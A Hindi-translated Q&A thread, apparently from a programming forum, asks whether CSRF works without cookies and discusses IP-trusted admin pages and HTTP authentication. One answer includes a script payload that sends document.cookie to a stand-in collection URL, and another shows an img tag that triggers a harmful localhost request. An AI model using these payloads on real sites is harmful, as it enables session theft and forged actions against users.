2010-09-17 21 views
5

मैं कुछ समय से इसकी जांच कर रहा हूं, लेकिन मुझे अपनी जिज्ञासा को पूरा करने के लिए कुछ भी नहीं मिला है। कुकीज अक्षम होने पर, सीएसआरएफ हमले का शिकार होने के लिए, उपयोगकर्ता के रूप में यह संभव है। स्पष्ट रूप से सीएसआरएफ उपयोगकर्ता ब्राउज़र पर वैध सर्वर पर जाली अनुरोध के साथ उपयोगकर्ता के प्रमाण पत्र भेजने के लिए निर्भर करता है। आईपी ​​पते के अलावा, ब्राउज़र स्वचालित रूप से किसी अन्य सत्र मूल्य में नहीं भेजते हैं? उस स्थिति में, जब तक कोई उपयोगकर्ता कुकीज़ अक्षम के साथ लॉगिन कर सकता है, तब तक वे कमजोर वेबसाइटों पर भी सीएसआरएफ से सुरक्षित रहेंगे।क्या सीएसआरएफ कुकीज़ के बिना संभव है?

उत्तर

4

तो, आपको खुद से पूछना है कि सर्वर एक क्लाइंट को दूसरे से कैसे जानता है? अधिकांश मामलों में, यह सत्र कुकी है, लेकिन अन्य तरीके भी हैं।

एक व्यवस्थापक अनुप्रयोग पर विचार करें, जो केवल स्थानीयहोस्ट से उपयोग किए जाने पर काम करने के लिए कॉन्फ़िगर किया गया है। यहां, सर्वर ब्राउज़र के आईपी पते पर भरोसा कर रहा है। अब, यदि कोई हमलावर <img src="http://localhost/do/something/harmful"/> जैसे पृष्ठ बनाता है, और किसी भी तरह से व्यवस्थापक को अपने पृष्ठ पर जाने के लिए मिलता है, तो आपके पास एक सीएसआरएफ है।

अन्य उदाहरणों में एचटीपी मूल और पाचन प्रमाणीकरण का दुरुपयोग शामिल है, क्योंकि ब्रूनो ने पहले ही बताया है।

+0

आईएमओ, जब तक पीड़ित के ब्राउज़र में एक सक्रिय सत्र या सक्रिय पहुंच टोकन (वेबस्टॉरेज, कुकीज़, रैम, या अन्य के माध्यम से) होता है, तो सीएसआरएफ यह मानने के माध्यम से जाएगा कि साइट सीएसआरएफ को रोकने के उद्देश्य से सिंक टोकन का उपयोग नहीं करती है। – Zack

-2

ज़रूर - बस लगता है कि अगर संक्रमित साइट साफ़ एचटीएमएल नहीं किया है और आप "टिप्पणी" फ़ील्ड में निम्न पाठ दर्ज किया गया:

<script> 
var img = document.createElement("img"); 
img.src = "http://example.com/collect.php?val=" + escape(document.cookie); 
</script> 
मूल रूप से

आप जावास्क्रिप्ट का उपयोग कर रहे कुकीज़ को इकट्ठा करने और लेखन एक छवि टैग के यूआरएल पैरामीटर में मान ताकि वे "खराब" सर्वर के साथ पारित हो जाएं जब ब्राउजर छवि लोड करने का प्रयास करता है।

बेशक - ऊपर दिए गए उदाहरण में मैं "document.cookie" से कुकीज़ का उपयोग कर रहा हूं लेकिन आपके प्रश्न की भावना में "यदि कुकीज़ अक्षम हैं" तो डीओएम से किसी अन्य जानकारी को निकालना उतना ही आसान है (छुपा इनपुट फ़ील्ड मान, इत्यादि) और उन्हें अपने लक्षित सर्वर पर यूआरएल में भेजें।

+0

ऐसा लगता है कि यह सीएसआरएफ के साथ एक्सएसएस संयोजन करेगा। – Bruno

+0

अच्छा बिंदु - मैं सीएसआरएफ की बजाय पारंपरिक एक्सएसएस की लाइनों के साथ और सोच रहा था। –

+0

इन सभी डोम हमलों केवल एक ही डोमेन के भीतर से ही सही हैं, सही? यह कड़ाई से एक एक्सएसएस हमला है। – grossmae

4

ब्राउज़र द्वारा समर्थित प्रमाणीकरण के अन्य रूप हैं, विशेष रूप से HTTP बेसिक और HTTP डाइजेस्ट, साथ ही एसएसएल/टीएलएस क्लाइंट-प्रमाणपत्र। दुर्भाग्यवश, इन तंत्रों का उपयोग करते समय "लॉग आउट" करने के लिए इंटरफ़ेस आमतौर पर काफी खराब होता है। कुकीज़ और रूपों के विपरीत, क्रेडेंशियल का उपयोग करने के लिए रोकना ब्राउज़र द्वारा नियंत्रित होता है (सर्वर और इसकी कुकीज़ द्वारा नहीं), लेकिन सामान्य रूप से कुछ उन्नत मेनू में बटन सबसे अच्छे होते हैं (यदि वे बिल्कुल मौजूद हैं)।

+0

है, इसलिए यदि कोई उपयोगकर्ता अपने ब्राउज़र में कुकीज़ अक्षम करता है, तो सामान्य विकल्प HTTP प्रमाणीकरण हैं या बस सत्र आईडी को फॉर्म के माध्यम से पास कर रहे हैं? – grossmae

संबंधित मुद्दे